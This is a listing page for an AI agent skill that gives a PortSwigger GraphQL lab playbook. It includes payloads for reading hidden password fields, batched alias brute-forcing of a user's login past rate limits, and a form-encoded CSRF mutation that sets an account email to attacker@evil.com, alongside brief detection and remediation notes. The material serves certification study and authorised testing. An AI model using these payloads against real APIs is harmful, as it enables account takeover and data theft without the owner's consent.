# GraphQL API — Deep Dive

> Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

- Skill: `shulkwisec/graphql-api-deep-dive` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add shulkwisec/graphql-api-deep-dive`
- Raw SKILL.md: https://api.skillmd.com/api/skills/shulkwisec/graphql-api-deep-dive/raw
- Safety review: PASS (external: skill-scanner PASS, skillspector PASS)
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Integrations & APIs
- Author: ShulkwiSEC (https://skillmd.com/u/shulkwisec)
- Updated: 2026-08-19
- Page: https://skillmd.com/skills/shulkwisec/graphql-api-deep-dive

---


# GraphQL API — Deep Dive

> **Deep-Dive Lab Playbook** — Every PortSwigger lab variant with exact payloads,
> bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert

## When to Use
- BSCP certification prep
- Real-world bug bounty hunting
- Building exploitation chains
- Understanding bypass techniques

## Prerequisites
- Burp Suite Professional
- Burp Collaborator / interactsh
- Browser with proxy configured


## Workflow
### Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
### Phase 2: Exploitation
- Apply standard lab payloads.
### Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.

## Lab Playbooks

### Lab 1: Accessing private posts 🟡 PRACTITIONER
```graphql
{getBlogPost(id:3){id title postPassword}}
```
Query hidden `postPassword` field discovered via introspection.
---

### Lab 2: Accidental field exposure 🟡 PRACTITIONER
Introspection → find `User` type → discover hidden field like `password` → query it.
---

### Lab 3: Finding hidden endpoint 🟡 PRACTITIONER
Try: `/graphql`, `/api`, `/api/graphql`, `/graphql/v1`. Send universal query: `{__typename}`.
---

### Lab 4: Bypass brute force protection 🟡 PRACTITIONER
```graphql
mutation {
  login0:login(input:{username:"carlos",password:"123456"}){token}
  login1:login(input:{username:"carlos",password:"password"}){token}
  login2:login(input:{username:"carlos",password:"qwerty"}){token}
}
```
Batch aliases bypass per-request rate limiting.
---

### Lab 5: CSRF over GraphQL 🟡 PRACTITIONER
Change Content-Type to `application/x-www-form-urlencoded`:
```
query=mutation{changeEmail(input:{email:"attacker@evil.com"}){email}}
```
Form-encoded GraphQL bypasses CSRF protection that only checks JSON requests.
---


## Blue Team Detection
- Monitor access logs for anomalous payloads.
- Implement strict input validation and parameterized queries where applicable.
- Create WAF rules masking generic attack patterns.

## Zero-Day Research
When standard technique fails:
1. Identify the filter/WAF
2. Fuzz with Burp Intruder custom wordlists
3. Search GitHub/Twitter for new bypasses
4. Chain with other vulns for escalation
5. Try encoding variants: URL, double-URL, unicode, hex


## Key Concepts
| Concept | Description |
|---------|-------------|
| PortSwigger Vectors | Standardized approaches to vulnerability classes. |
| Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |


## Output Format
```
Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]
```

## 🔵 Blue Team
- Deploy robust WAF rules to detect anomalies.
- Monitor logs for unusual access patterns.

## 🛡️ Remediation & Mitigation Strategy
- **Input Validation:** Sanitize and strictly type-check all inputs.
- **Least Privilege:** Constrain component execution bounds.


## 📚 Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class

## References
- [PortSwigger Labs](https://portswigger.net/web-security/all-labs)
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
- [HackTricks](https://book.hacktricks.xyz/)